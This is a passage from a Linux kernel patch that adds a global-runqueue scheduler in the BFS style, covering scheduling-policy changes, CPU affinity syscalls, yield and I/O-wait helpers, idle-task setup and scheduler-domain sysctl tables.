++		} else {
++			switch (p->policy) {
++				/*
++				 * Can only downgrade policies but not back to
++				 * SCHED_NORMAL
++				 */
++				case SCHED_ISO:
++					if (policy == SCHED_ISO)
++						goto out;
++					if (policy == SCHED_NORMAL)
++						return -EPERM;
++					break;
++				case SCHED_BATCH:
++					if (policy == SCHED_BATCH)
++						goto out;
++					if (policy != SCHED_IDLEPRIO)
++						return -EPERM;
++					break;
++				case SCHED_IDLEPRIO:
++					if (policy == SCHED_IDLEPRIO)
++						goto out;
++					return -EPERM;
++				default:
++					break;
++			}
++		}
++
++		/* can't change other user's priorities */
++		if (!check_same_owner(p))
++			return -EPERM;
++
++		/* Normal users shall not reset the sched_reset_on_fork flag */
++		if (p->sched_reset_on_fork && !reset_on_fork)
++			return -EPERM;
++	}
++
++	if (user) {
++		retval = security_task_setscheduler(p);
++		if (retval)
++			return retval;
++	}
++
++	/*
++	 * make sure no PI-waiters arrive (or leave) while we are
++	 * changing the priority of the task:
++	 */
++	raw_spin_lock_irqsave(&p->pi_lock, flags);
++	/*
++	 * To be able to change p->policy safely, the grunqueue lock must be
++	 * held.
++	 */
++	rq = __task_grq_lock(p);
++
++	/*
++	 * Changing the policy of the stop threads its a very bad idea
++	 */
++	if (p == rq->stop) {
++		__task_grq_unlock();
++		raw_spin_unlock_irqrestore(&p->pi_lock, flags);
++		return -EINVAL;
++	}
++
++	/*
++	 * If not changing anything there's no need to proceed further:
++	 */
++	if (unlikely(policy == p->policy && (!is_rt_policy(policy) ||
++			param->sched_priority == p->rt_priority))) {
++
++		__task_grq_unlock();
++		raw_spin_unlock_irqrestore(&p->pi_lock, flags);
++		return 0;
++	}
++
++	/* recheck policy now with rq lock held */
++	if (unlikely(oldpolicy != -1 && oldpolicy != p->policy)) {
++		policy = oldpolicy = -1;
++		__task_grq_unlock();
++		raw_spin_unlock_irqrestore(&p->pi_lock, flags);
++		goto recheck;
++	}
++	update_clocks(rq);
++	p->sched_reset_on_fork = reset_on_fork;
++
++	queued = task_queued(p);
++	if (queued)
++		dequeue_task(p);
++	__setscheduler(p, rq, policy, param->sched_priority);
++	if (queued) {
++		enqueue_task(p);
++		try_preempt(p, rq);
++	}
++	__task_grq_unlock();
++	raw_spin_unlock_irqrestore(&p->pi_lock, flags);
++
++	rt_mutex_adjust_pi(p);
++out:
++	return 0;
++}
++
++/**
++ * sched_setscheduler - change the scheduling policy and/or RT priority of a thread.
++ * @p: the task in question.
++ * @policy: new policy.
++ * @param: structure containing the new RT priority.
++ *
++ * NOTE that the task may be already dead.
++ */
++int sched_setscheduler(struct task_struct *p, int policy,
++		       const struct sched_param *param)
++{
++	return __sched_setscheduler(p, policy, param, true);
++}
++
++EXPORT_SYMBOL_GPL(sched_setscheduler);
++
++/**
++ * sched_setscheduler_nocheck - change the scheduling policy and/or RT priority of a thread from kernelspace.
++ * @p: the task in question.
++ * @policy: new policy.
++ * @param: structure containing the new RT priority.
++ *
++ * Just like sched_setscheduler, only don't bother checking if the
++ * current context has permission.  For example, this is needed in
++ * stop_machine(): we create temporary high priority worker threads,
++ * but our caller might not have that capability.
++ */
++int sched_setscheduler_nocheck(struct task_struct *p, int policy,
++			       const struct sched_param *param)
++{
++	return __sched_setscheduler(p, policy, param, false);
++}
++
++static int
++do_sched_setscheduler(pid_t pid, int policy, struct sched_param __user *param)
++{
++	struct sched_param lparam;
++	struct task_struct *p;
++	int retval;
++
++	if (!param || pid < 0)
++		return -EINVAL;
++	if (copy_from_user(&lparam, param, sizeof(struct sched_param)))
++		return -EFAULT;
++
++	rcu_read_lock();
++	retval = -ESRCH;
++	p = find_process_by_pid(pid);
++	if (p != NULL)
++		retval = sched_setscheduler(p, policy, &lparam);
++	rcu_read_unlock();
++
++	return retval;
++}
++
++/**
++ * sys_sched_setscheduler - set/change the scheduler policy and RT priority
++ * @pid: the pid in question.
++ * @policy: new policy.
++ * @param: structure containing the new RT priority.
++ */
++asmlinkage long sys_sched_setscheduler(pid_t pid, int policy,
++				       struct sched_param __user *param)
++{
++	/* negative values for policy are not valid */
++	if (policy < 0)
++		return -EINVAL;
++
++	return do_sched_setscheduler(pid, policy, param);
++}
++
++/**
++ * sys_sched_setparam - set/change the RT priority of a thread
++ * @pid: the pid in question.
++ * @param: structure containing the new RT priority.
++ */
++SYSCALL_DEFINE2(sched_setparam, pid_t, pid, struct sched_param __user *, param)
++{
++	return do_sched_setscheduler(pid, -1, param);
++}
++
++/**
++ * sys_sched_getscheduler - get the policy (scheduling class) of a thread
++ * @pid: the pid in question.
++ */
++SYSCALL_DEFINE1(sched_getscheduler, pid_t, pid)
++{
++	struct task_struct *p;
++	int retval = -EINVAL;
++
++	if (pid < 0)
++		goto out_nounlock;
++
++	retval = -ESRCH;
++	rcu_read_lock();
++	p = find_process_by_pid(pid);
++	if (p) {
++		retval = security_task_getscheduler(p);
++		if (!retval)
++			retval = p->policy;
++	}
++	rcu_read_unlock();
++
++out_nounlock:
++	return retval;
++}
++
++/**
++ * sys_sched_getscheduler - get the RT priority of a thread
++ * @pid: the pid in question.
++ * @param: structure containing the RT priority.
++ */
++SYSCALL_DEFINE2(sched_getparam, pid_t, pid, struct sched_param __user *, param)
++{
++	struct sched_param lp;
++	struct task_struct *p;
++	int retval = -EINVAL;
++
++	if (!param || pid < 0)
++		goto out_nounlock;
++
++	rcu_read_lock();
++	p = find_process_by_pid(pid);
++	retval = -ESRCH;
++	if (!p)
++		goto out_unlock;
++
++	retval = security_task_getscheduler(p);
++	if (retval)
++		goto out_unlock;
++
++	lp.sched_priority = p->rt_priority;
++	rcu_read_unlock();
++
++	/*
++	 * This one might sleep, we cannot do it with a spinlock held ...
++	 */
++	retval = copy_to_user(param, &lp, sizeof(*param)) ? -EFAULT : 0;
++
++out_nounlock:
++	return retval;
++
++out_unlock:
++	rcu_read_unlock();
++	return retval;
++}
++
++long sched_setaffinity(pid_t pid, const struct cpumask *in_mask)
++{
++	cpumask_var_t cpus_allowed, new_mask;
++	struct task_struct *p;
++	int retval;
++
++	get_online_cpus();
++	rcu_read_lock();
++
++	p = find_process_by_pid(pid);
++	if (!p) {
++		rcu_read_unlock();
++		put_online_cpus();
++		return -ESRCH;
++	}
++
++	/* Prevent p going away */
++	get_task_struct(p);
++	rcu_read_unlock();
++
++	if (p->flags & PF_NO_SETAFFINITY) {
++		retval = -EINVAL;
++		goto out_put_task;
++	}
++	if (!alloc_cpumask_var(&cpus_allowed, GFP_KERNEL)) {
++		retval = -ENOMEM;
++		goto out_put_task;
++	}
++	if (!alloc_cpumask_var(&new_mask, GFP_KERNEL)) {
++		retval = -ENOMEM;
++		goto out_free_cpus_allowed;
++	}
++	retval = -EPERM;
++	if (!check_same_owner(p)) {
++		rcu_read_lock();
++		if (!ns_capable(__task_cred(p)->user_ns, CAP_SYS_NICE)) {
++			rcu_read_unlock();
++			goto out_unlock;
++		}
++		rcu_read_unlock();
++	}
++
++	retval = security_task_setscheduler(p);
++	if (retval)
++		goto out_unlock;
++
++	cpuset_cpus_allowed(p, cpus_allowed);
++	cpumask_and(new_mask, in_mask, cpus_allowed);
++again:
++	retval = set_cpus_allowed_ptr(p, new_mask);
++
++	if (!retval) {
++		cpuset_cpus_allowed(p, cpus_allowed);
++		if (!cpumask_subset(new_mask, cpus_allowed)) {
++			/*
++			 * We must have raced with a concurrent cpuset
++			 * update. Just reset the cpus_allowed to the
++			 * cpuset's cpus_allowed
++			 */
++			cpumask_copy(new_mask, cpus_allowed);
++			goto again;
++		}
++	}
++out_unlock:
++	free_cpumask_var(new_mask);
++out_free_cpus_allowed:
++	free_cpumask_var(cpus_allowed);
++out_put_task:
++	put_task_struct(p);
++	put_online_cpus();
++	return retval;
++}
++
++static int get_user_cpu_mask(unsigned long __user *user_mask_ptr, unsigned len,
++			     cpumask_t *new_mask)
++{
++	if (len < sizeof(cpumask_t)) {
++		memset(new_mask, 0, sizeof(cpumask_t));
++	} else if (len > sizeof(cpumask_t)) {
++		len = sizeof(cpumask_t);
++	}
++	return copy_from_user(new_mask, user_mask_ptr, len) ? -EFAULT : 0;
++}
++
++
++/**
++ * sys_sched_setaffinity - set the cpu affinity of a process
++ * @pid: pid of the process
++ * @len: length in bytes of the bitmask pointed to by user_mask_ptr
++ * @user_mask_ptr: user-space pointer to the new cpu mask
++ */
++SYSCALL_DEFINE3(sched_setaffinity, pid_t, pid, unsigned int, len,
++		unsigned long __user *, user_mask_ptr)
++{
++	cpumask_var_t new_mask;
++	int retval;
++
++	if (!alloc_cpumask_var(&new_mask, GFP_KERNEL))
++		return -ENOMEM;
++
++	retval = get_user_cpu_mask(user_mask_ptr, len, new_mask);
++	if (retval == 0)
++		retval = sched_setaffinity(pid, new_mask);
++	free_cpumask_var(new_mask);
++	return retval;
++}
++
++long sched_getaffinity(pid_t pid, cpumask_t *mask)
++{
++	struct task_struct *p;
++	unsigned long flags;
++	int retval;
++
++	get_online_cpus();
++	rcu_read_lock();
++
++	retval = -ESRCH;
++	p = find_process_by_pid(pid);
++	if (!p)
++		goto out_unlock;
++
++	retval = security_task_getscheduler(p);
++	if (retval)
++		goto out_unlock;
++
++	grq_lock_irqsave(&flags);
++	cpumask_and(mask, tsk_cpus_allowed(p), cpu_online_mask);
++	grq_unlock_irqrestore(&flags);
++
++out_unlock:
++	rcu_read_unlock();
++	put_online_cpus();
++
++	return retval;
++}
++
++/**
++ * sys_sched_getaffinity - get the cpu affinity of a process
++ * @pid: pid of the process
++ * @len: length in bytes of the bitmask pointed to by user_mask_ptr
++ * @user_mask_ptr: user-space pointer to hold the current cpu mask
++ */
++SYSCALL_DEFINE3(sched_getaffinity, pid_t, pid, unsigned int, len,
++		unsigned long __user *, user_mask_ptr)
++{
++	int ret;
++	cpumask_var_t mask;
++
++	if ((len * BITS_PER_BYTE) < nr_cpu_ids)
++		return -EINVAL;
++	if (len & (sizeof(unsigned long)-1))
++		return -EINVAL;
++
++	if (!alloc_cpumask_var(&mask, GFP_KERNEL))
++		return -ENOMEM;
++
++	ret = sched_getaffinity(pid, mask);
++	if (ret == 0) {
++		size_t retlen = min_t(size_t, len, cpumask_size());
++
++		if (copy_to_user(user_mask_ptr, mask, retlen))
++			ret = -EFAULT;
++		else
++			ret = retlen;
++	}
++	free_cpumask_var(mask);
++
++	return ret;
++}
++
++/**
++ * sys_sched_yield - yield the current processor to other threads.
++ *
++ * This function yields the current CPU to other tasks. It does this by
++ * scheduling away the current task. If it still has the earliest deadline
++ * it will be scheduled again as the next task.
++ */
++SYSCALL_DEFINE0(sched_yield)
++{
++	struct task_struct *p;
++
++	p = current;
++	grq_lock_irq();
++	schedstat_inc(task_rq(p), yld_count);
++	requeue_task(p);
++
++	/*
++	 * Since we are going to call schedule() anyway, there's
++	 * no need to preempt or enable interrupts:
++	 */
++	__release(grq.lock);
++	spin_release(&grq.lock.dep_map, 1, _THIS_IP_);
++	do_raw_spin_unlock(&grq.lock);
++	sched_preempt_enable_no_resched();
++
++	schedule();
++
++	return 0;
++}
++
++static inline bool should_resched(void)
++{
++	return need_resched() && !(preempt_count() & PREEMPT_ACTIVE);
++}
++
++static void __cond_resched(void)
++{
++	add_preempt_count(PREEMPT_ACTIVE);
++	schedule();
++	sub_preempt_count(PREEMPT_ACTIVE);
++}
++
++int __sched _cond_resched(void)
++{
++	if (should_resched()) {
++		__cond_resched();
++		return 1;
++	}
++	return 0;
++}
++EXPORT_SYMBOL(_cond_resched);
++
++/*
++ * __cond_resched_lock() - if a reschedule is pending, drop the given lock,
++ * call schedule, and on return reacquire the lock.
++ *
++ * This works OK both with and without CONFIG_PREEMPT.  We do strange low-level
++ * operations here to prevent schedule() from being called twice (once via
++ * spin_unlock(), once by hand).
++ */
++int __cond_resched_lock(spinlock_t *lock)
++{
++	int resched = should_resched();
++	int ret = 0;
++
++	lockdep_assert_held(lock);
++
++	if (spin_needbreak(lock) || resched) {
++		spin_unlock(lock);
++		if (resched)
++			__cond_resched();
++		else
++			cpu_relax();
++		ret = 1;
++		spin_lock(lock);
++	}
++	return ret;
++}
++EXPORT_SYMBOL(__cond_resched_lock);
++
++int __sched __cond_resched_softirq(void)
++{
++	BUG_ON(!in_softirq());
++
++	if (should_resched()) {
++		local_bh_enable();
++		__cond_resched();
++		local_bh_disable();
++		return 1;
++	}
++	return 0;
++}
++EXPORT_SYMBOL(__cond_resched_softirq);
++
++/**
++ * yield - yield the current processor to other threads.
++ *
++ * Do not ever use this function, there's a 99% chance you're doing it wrong.
++ *
++ * The scheduler is at all times free to pick the calling task as the most
++ * eligible task to run, if removing the yield() call from your code breaks
++ * it, its already broken.
++ *
++ * Typical broken usage is:
++ *
++ * while (!event)
++ * 	yield();
++ *
++ * where one assumes that yield() will let 'the other' process run that will
++ * make event true. If the current task is a SCHED_FIFO task that will never
++ * happen. Never use yield() as a progress guarantee!!
++ *
++ * If you want to use yield() to wait for something, use wait_event().
++ * If you want to use yield() to be 'nice' for others, use cond_resched().
++ * If you still want to use yield(), do not!
++ */
++void __sched yield(void)
++{
++	set_current_state(TASK_RUNNING);
++	sys_sched_yield();
++}
++EXPORT_SYMBOL(yield);
++
++/**
++ * yield_to - yield the current processor to another thread in
++ * your thread group, or accelerate that thread toward the
++ * processor it's on.
++ * @p: target task
++ * @preempt: whether task preemption is allowed or not
++ *
++ * It's the caller's job to ensure that the target task struct
++ * can't go away on us before we can do any checks.
++ *
++ * Returns:
++ *	true (>0) if we indeed boosted the target task.
++ *	false (0) if we failed to boost the target.
++ *	-ESRCH if there's no task to yield to.
++ */
++bool __sched yield_to(struct task_struct *p, bool preempt)
++{
++	unsigned long flags;
++	int yielded = 0;
++	struct rq *rq;
++
++	rq = this_rq();
++	grq_lock_irqsave(&flags);
++	if (task_running(p) || p->state) {
++		yielded = -ESRCH;
++		goto out_unlock;
++	}
++	yielded = 1;
++	if (p->deadline > rq->rq_deadline)
++		p->deadline = rq->rq_deadline;
++	p->time_slice += rq->rq_time_slice;
++	rq->rq_time_slice = 0;
++	if (p->time_slice > timeslice())
++		p->time_slice = timeslice();
++	set_tsk_need_resched(rq->curr);
++out_unlock:
++	grq_unlock_irqrestore(&flags);
++
++	if (yielded > 0)
++		schedule();
++	return yielded;
++}
++EXPORT_SYMBOL_GPL(yield_to);
++
++/*
++ * This task is about to go to sleep on IO.  Increment rq->nr_iowait so
++ * that process accounting knows that this is a task in IO wait state.
++ *
++ * But don't do that if it is a deliberate, throttling IO wait (this task
++ * has set its backing_dev_info: the queue against which it should throttle)
++ */
++void __sched io_schedule(void)
++{
++	struct rq *rq = raw_rq();
++
++	delayacct_blkio_start();
++	atomic_inc(&rq->nr_iowait);
++	blk_flush_plug(current);
++	current->in_iowait = 1;
++	schedule();
++	current->in_iowait = 0;
++	atomic_dec(&rq->nr_iowait);
++	delayacct_blkio_end();
++}
++EXPORT_SYMBOL(io_schedule);
++
++long __sched io_schedule_timeout(long timeout)
++{
++	struct rq *rq = raw_rq();
++	long ret;
++
++	delayacct_blkio_start();
++	atomic_inc(&rq->nr_iowait);
++	blk_flush_plug(current);
++	current->in_iowait = 1;
++	ret = schedule_timeout(timeout);
++	current->in_iowait = 0;
++	atomic_dec(&rq->nr_iowait);
++	delayacct_blkio_end();
++	return ret;
++}
++
++/**
++ * sys_sched_get_priority_max - return maximum RT priority.
++ * @policy: scheduling class.
++ *
++ * this syscall returns the maximum rt_priority that can be used
++ * by a given scheduling class.
++ */
++SYSCALL_DEFINE1(sched_get_priority_max, int, policy)
++{
++	int ret = -EINVAL;
++
++	switch (policy) {
++	case SCHED_FIFO:
++	case SCHED_RR:
++		ret = MAX_USER_RT_PRIO-1;
++		break;
++	case SCHED_NORMAL:
++	case SCHED_BATCH:
++	case SCHED_ISO:
++	case SCHED_IDLEPRIO:
++		ret = 0;
++		break;
++	}
++	return ret;
++}
++
++/**
++ * sys_sched_get_priority_min - return minimum RT priority.
++ * @policy: scheduling class.
++ *
++ * this syscall returns the minimum rt_priority that can be used
++ * by a given scheduling class.
++ */
++SYSCALL_DEFINE1(sched_get_priority_min, int, policy)
++{
++	int ret = -EINVAL;
++
++	switch (policy) {
++	case SCHED_FIFO:
++	case SCHED_RR:
++		ret = 1;
++		break;
++	case SCHED_NORMAL:
++	case SCHED_BATCH:
++	case SCHED_ISO:
++	case SCHED_IDLEPRIO:
++		ret = 0;
++		break;
++	}
++	return ret;
++}
++
++/**
++ * sys_sched_rr_get_interval - return the default timeslice of a process.
++ * @pid: pid of the process.
++ * @interval: userspace pointer to the timeslice value.
++ *
++ * this syscall writes the default timeslice value of a given process
++ * into the user-space timespec buffer. A value of '0' means infinity.
++ */
++SYSCALL_DEFINE2(sched_rr_get_interval, pid_t, pid,
++		struct timespec __user *, interval)
++{
++	struct task_struct *p;
++	unsigned int time_slice;
++	unsigned long flags;
++	int retval;
++	struct timespec t;
++
++	if (pid < 0)
++		return -EINVAL;
++
++	retval = -ESRCH;
++	rcu_read_lock();
++	p = find_process_by_pid(pid);
++	if (!p)
++		goto out_unlock;
++
++	retval = security_task_getscheduler(p);
++	if (retval)
++		goto out_unlock;
++
++	grq_lock_irqsave(&flags);
++	time_slice = p->policy == SCHED_FIFO ? 0 : MS_TO_NS(task_timeslice(p));
++	grq_unlock_irqrestore(&flags);
++
++	rcu_read_unlock();
++	t = ns_to_timespec(time_slice);
++	retval = copy_to_user(interval, &t, sizeof(t)) ? -EFAULT : 0;
++	return retval;
++
++out_unlock:
++	rcu_read_unlock();
++	return retval;
++}
++
++static const char stat_nam[] = TASK_STATE_TO_CHAR_STR;
++
++void sched_show_task(struct task_struct *p)
++{
++	unsigned long free = 0;
++	int ppid;
++	unsigned state;
++
++	state = p->state ? __ffs(p->state) + 1 : 0;
++	printk(KERN_INFO "%-15.15s %c", p->comm,
++		state < sizeof(stat_nam) - 1 ? stat_nam[state] : '?');
++#if BITS_PER_LONG == 32
++	if (state == TASK_RUNNING)
++		printk(KERN_CONT " running  ");
++	else
++		printk(KERN_CONT " %08lx ", thread_saved_pc(p));
++#else
++	if (state == TASK_RUNNING)
++		printk(KERN_CONT "  running task    ");
++	else
++		printk(KERN_CONT " %016lx ", thread_saved_pc(p));
++#endif
++#ifdef CONFIG_DEBUG_STACK_USAGE
++	free = stack_not_used(p);
++#endif
++	rcu_read_lock();
++	ppid = task_pid_nr(rcu_dereference(p->real_parent));
++	rcu_read_unlock();
++	printk(KERN_CONT "%5lu %5d %6d 0x%08lx\n", free,
++		task_pid_nr(p), ppid,
++		(unsigned long)task_thread_info(p)->flags);
++
++	print_worker_info(KERN_INFO, p);
++	show_stack(p, NULL);
++}
++
++void show_state_filter(unsigned long state_filter)
++{
++	struct task_struct *g, *p;
++
++#if BITS_PER_LONG == 32
++	printk(KERN_INFO
++		"  task                PC stack   pid father\n");
++#else
++	printk(KERN_INFO
++		"  task                        PC stack   pid father\n");
++#endif
++	rcu_read_lock();
++	do_each_thread(g, p) {
++		/*
++		 * reset the NMI-timeout, listing all files on a slow
++		 * console might take a lot of time:
++		 */
++		touch_nmi_watchdog();
++		if (!state_filter || (p->state & state_filter))
++			sched_show_task(p);
++	} while_each_thread(g, p);
++
++	touch_all_softlockup_watchdogs();
++
++	rcu_read_unlock();
++	/*
++	 * Only show locks if all tasks are dumped:
++	 */
++	if (!state_filter)
++		debug_show_all_locks();
++}
++
++void dump_cpu_task(int cpu)
++{
++	pr_info("Task dump for CPU %d:\n", cpu);
++	sched_show_task(cpu_curr(cpu));
++}
++
++#ifdef CONFIG_SMP
++void do_set_cpus_allowed(struct task_struct *p, const struct cpumask *new_mask)
++{
++	cpumask_copy(tsk_cpus_allowed(p), new_mask);
++}
++#endif
++
++/**
++ * init_idle - set up an idle thread for a given CPU
++ * @idle: task in question
++ * @cpu: cpu the idle task belongs to
++ *
++ * NOTE: this function does not set the idle thread's NEED_RESCHED
++ * flag, to make booting more robust.
++ */
++void init_idle(struct task_struct *idle, int cpu)
++{
++	struct rq *rq = cpu_rq(cpu);
++	unsigned long flags;
++
++	time_grq_lock(rq, &flags);
++	idle->last_ran = rq->clock_task;
++	idle->state = TASK_RUNNING;
++	/* Setting prio to illegal value shouldn't matter when never queued */
++	idle->prio = PRIO_LIMIT;
++	set_rq_task(rq, idle);
++	do_set_cpus_allowed(idle, &cpumask_of_cpu(cpu));
++	/* Silence PROVE_RCU */
++	rcu_read_lock();
++	set_task_cpu(idle, cpu);
++	rcu_read_unlock();
++	rq->curr = rq->idle = idle;
++	idle->on_cpu = 1;
++	grq_unlock_irqrestore(&flags);
++
++	/* Set the preempt count _outside_ the spinlocks! */
++	task_thread_info(idle)->preempt_count = 0;
++
++	ftrace_graph_init_idle_task(idle, cpu);
++#if defined(CONFIG_SMP)
++	sprintf(idle->comm, "%s/%d", INIT_TASK_COMM, cpu);
++#endif
++}
++
++#ifdef CONFIG_SMP
++#ifdef CONFIG_NO_HZ_COMMON
++void nohz_balance_enter_idle(int cpu)
++{
++}
++
++void select_nohz_load_balancer(int stop_tick)
++{
++}
++
++void set_cpu_sd_state_idle(void) {}
++#if defined(CONFIG_SCHED_MC) || defined(CONFIG_SCHED_SMT)
++/**
++ * lowest_flag_domain - Return lowest sched_domain containing flag.
++ * @cpu:	The cpu whose lowest level of sched domain is to
++ *		be returned.
++ * @flag:	The flag to check for the lowest sched_domain
++ *		for the given cpu.
++ *
++ * Returns the lowest sched_domain of a cpu which contains the given flag.
++ */
++static inline struct sched_domain *lowest_flag_domain(int cpu, int flag)
++{
++	struct sched_domain *sd;
++
++	for_each_domain(cpu, sd)
++		if (sd && (sd->flags & flag))
++			break;
++
++	return sd;
++}
++
++/**
++ * for_each_flag_domain - Iterates over sched_domains containing the flag.
++ * @cpu:	The cpu whose domains we're iterating over.
++ * @sd:		variable holding the value of the power_savings_sd
++ *		for cpu.
++ * @flag:	The flag to filter the sched_domains to be iterated.
++ *
++ * Iterates over all the scheduler domains for a given cpu that has the 'flag'
++ * set, starting from the lowest sched_domain to the highest.
++ */
++#define for_each_flag_domain(cpu, sd, flag) \
++	for (sd = lowest_flag_domain(cpu, flag); \
++		(sd && (sd->flags & flag)); sd = sd->parent)
++
++#endif /*  (CONFIG_SCHED_MC || CONFIG_SCHED_SMT) */
++
++static inline void resched_cpu(int cpu)
++{
++	unsigned long flags;
++
++	grq_lock_irqsave(&flags);
++	resched_task(cpu_curr(cpu));
++	grq_unlock_irqrestore(&flags);
++}
++
++/*
++ * In the semi idle case, use the nearest busy cpu for migrating timers
++ * from an idle cpu.  This is good for power-savings.
++ *
++ * We don't do similar optimization for completely idle system, as
++ * selecting an idle cpu will add more delays to the timers than intended
++ * (as that cpu's timer base may not be uptodate wrt jiffies etc).
++ */
++int get_nohz_timer_target(void)
++{
++	int cpu = smp_processor_id();
++	int i;
++	struct sched_domain *sd;
++
++	rcu_read_lock();
++	for_each_domain(cpu, sd) {
++		for_each_cpu(i, sched_domain_span(sd)) {
++			if (!idle_cpu(i))
++				cpu = i;
++			goto unlock;
++		}
++	}
++unlock:
++	rcu_read_unlock();
++	return cpu;
++}
++
++/*
++ * When add_timer_on() enqueues a timer into the timer wheel of an
++ * idle CPU then this timer might expire before the next timer event
++ * which is scheduled to wake up that CPU. In case of a completely
++ * idle system the next event might even be infinite time into the
++ * future. wake_up_idle_cpu() ensures that the CPU is woken up and
++ * leaves the inner idle loop so the newly added timer is taken into
++ * account when the CPU goes back to idle and evaluates the timer
++ * wheel for the next timer event.
++ */
++void wake_up_idle_cpu(int cpu)
++{
++	struct task_struct *idle;
++	struct rq *rq;
++
++	if (cpu == smp_processor_id())
++		return;
++
++	rq = cpu_rq(cpu);
++	idle = rq->idle;
++
++	/*
++	 * This is safe, as this function is called with the timer
++	 * wheel base lock of (cpu) held. When the CPU is on the way
++	 * to idle and has not yet set rq->curr to idle then it will
++	 * be serialised on the timer wheel base lock and take the new
++	 * timer into account automatically.
++	 */
++	if (unlikely(rq->curr != idle))
++		return;
++
++	/*
++	 * We can set TIF_RESCHED on the idle task of the other CPU
++	 * lockless. The worst case is that the other CPU runs the
++	 * idle task through an additional NOOP schedule()
++	 */
++	set_tsk_need_resched(idle);
++
++	/* NEED_RESCHED must be visible before we test polling */
++	smp_mb();
++	if (!tsk_is_polling(idle))
++		smp_send_reschedule(cpu);
++}
++
++void wake_up_nohz_cpu(int cpu)
++{
++	wake_up_idle_cpu(cpu);
++}
++#endif /* CONFIG_NO_HZ_COMMON */
++
++/*
++ * Change a given task's CPU affinity. Migrate the thread to a
++ * proper CPU and schedule it away if the CPU it's executing on
++ * is removed from the allowed bitmask.
++ *
++ * NOTE: the caller must have a valid reference to the task, the
++ * task must not exit() & deallocate itself prematurely. The
++ * call is not atomic; no spinlocks may be held.
++ */
++int set_cpus_allowed_ptr(struct task_struct *p, const struct cpumask *new_mask)
++{
++	bool running_wrong = false;
++	bool queued = false;
++	unsigned long flags;
++	struct rq *rq;
++	int ret = 0;
++
++	rq = task_grq_lock(p, &flags);
++
++	if (cpumask_equal(tsk_cpus_allowed(p), new_mask))
++		goto out;
++
++	if (!cpumask_intersects(new_mask, cpu_active_mask)) {
++		ret = -EINVAL;
++		goto out;
++	}
++
++	queued = task_queued(p);
++
++	do_set_cpus_allowed(p, new_mask);
++
++	/* Can the task run on the task's current CPU? If so, we're done */
++	if (cpumask_test_cpu(task_cpu(p), new_mask))
++		goto out;
++
++	if (task_running(p)) {
++		/* Task is running on the wrong cpu now, reschedule it. */
++		if (rq == this_rq()) {
++			set_tsk_need_resched(p);
++			running_wrong = true;
++		} else
++			resched_task(p);
++	} else
++		set_task_cpu(p, cpumask_any_and(cpu_active_mask, new_mask));
++
++out:
++	if (queued)
++		try_preempt(p, rq);
++	task_grq_unlock(&flags);
++
++	if (running_wrong)
++		_cond_resched();
++
++	return ret;
++}
++EXPORT_SYMBOL_GPL(set_cpus_allowed_ptr);
++
++#ifdef CONFIG_HOTPLUG_CPU
++extern struct task_struct *cpu_stopper_task;
++/* Run through task list and find tasks affined to just the dead cpu, then
++ * allocate a new affinity */
++static void break_sole_affinity(int src_cpu, struct task_struct *idle)
++{
++	struct task_struct *p, *t, *stopper;
++
++	stopper = per_cpu(cpu_stopper_task, src_cpu);
++	do_each_thread(t, p) {
++		if (p != stopper && p != idle && !online_cpus(p)) {
++			cpumask_copy(tsk_cpus_allowed(p), cpu_possible_mask);
++			/*
++			 * Don't tell them about moving exiting tasks or
++			 * kernel threads (both mm NULL), since they never
++			 * leave kernel.
++			 */
++			if (p->mm && printk_ratelimit()) {
++				printk(KERN_INFO "process %d (%s) no "
++				       "longer affine to cpu %d\n",
++				       task_pid_nr(p), p->comm, src_cpu);
++			}
++		}
++		clear_sticky(p);
++	} while_each_thread(t, p);
++}
++
++/*
++ * Ensures that the idle task is using init_mm right before its cpu goes
++ * offline.
++ */
++void idle_task_exit(void)
++{
++	struct mm_struct *mm = current->active_mm;
++
++	BUG_ON(cpu_online(smp_processor_id()));
++
++	if (mm != &init_mm)
++		switch_mm(mm, &init_mm, current);
++	mmdrop(mm);
++}
++#endif /* CONFIG_HOTPLUG_CPU */
++void sched_set_stop_task(int cpu, struct task_struct *stop)
++{
++	struct sched_param stop_param = { .sched_priority = STOP_PRIO };
++	struct sched_param start_param = { .sched_priority = 0 };
++	struct task_struct *old_stop = cpu_rq(cpu)->stop;
++
++	if (stop) {
++		/*
++		 * Make it appear like a SCHED_FIFO task, its something
++		 * userspace knows about and won't get confused about.
++		 *
++		 * Also, it will make PI more or less work without too
++		 * much confusion -- but then, stop work should not
++		 * rely on PI working anyway.
++		 */
++		sched_setscheduler_nocheck(stop, SCHED_FIFO, &stop_param);
++	}
++
++	cpu_rq(cpu)->stop = stop;
++
++	if (old_stop) {
++		/*
++		 * Reset it back to a normal scheduling policy so that
++		 * it can die in pieces.
++		 */
++		sched_setscheduler_nocheck(old_stop, SCHED_NORMAL, &start_param);
++	}
++}
++
++
++#if defined(CONFIG_SCHED_DEBUG) && defined(CONFIG_SYSCTL)
++
++static struct ctl_table sd_ctl_dir[] = {
++	{
++		.procname	= "sched_domain",
++		.mode		= 0555,
++	},
++	{}
++};
++
++static struct ctl_table sd_ctl_root[] = {
++	{
++		.procname	= "kernel",
++		.mode		= 0555,
++		.child		= sd_ctl_dir,
++	},
++	{}
++};
++
++static struct ctl_table *sd_alloc_ctl_entry(int n)
++{
++	struct ctl_table *entry =
++		kcalloc(n, sizeof(struct ctl_table), GFP_KERNEL);
++
++	return entry;
++}
++
++static void sd_free_ctl_entry(struct ctl_table **tablep)
++{
++	struct ctl_table *entry;
++
++	/*
++	 * In the intermediate directories, both the child directory and
++	 * procname are dynamically allocated and could fail but the mode
++	 * will always be set. In the lowest directory the names are
++	 * static strings and all have proc handlers.
++	 */
++	for (entry = *tablep; entry->mode; entry++) {
++		if (entry->child)
++			sd_free_ctl_entry(&entry->child);
++		if (entry->proc_handler == NULL)
++			kfree(entry->procname);
++	}
++
++	kfree(*tablep);
++	*tablep = NULL;
++}
++
++static void
++set_table_entry(struct ctl_table *entry,
++		const char *procname, void *data, int maxlen,
++		mode_t mode, proc_handler *proc_handler)
++{
++	entry->procname = procname;
++	entry->data = data;
++	entry->maxlen = maxlen;
++	entry->mode = mode;
++	entry->proc_handler = proc_handler;
++}
++
++static struct ctl_table *
++sd_alloc_ctl_domain_table(struct sched_domain *sd)
++{
++	struct ctl_table *table = sd_alloc_ctl_entry(13);
++
++	if (table == NULL)
++		return NULL;
++
++	set_table_entry(&table[0], "min_interval", &sd->min_interval,
++		sizeof(long), 0644, proc_doulongvec_minmax);
++	set_table_entry(&table[1], "max_interval", &sd->max_interval,
++		sizeof(long), 0644, proc_doulongvec_minmax);
++	set_table_entry(&table[2], "busy_idx", &sd->busy_idx,
++		sizeof(int), 0644, proc_dointvec_minmax);
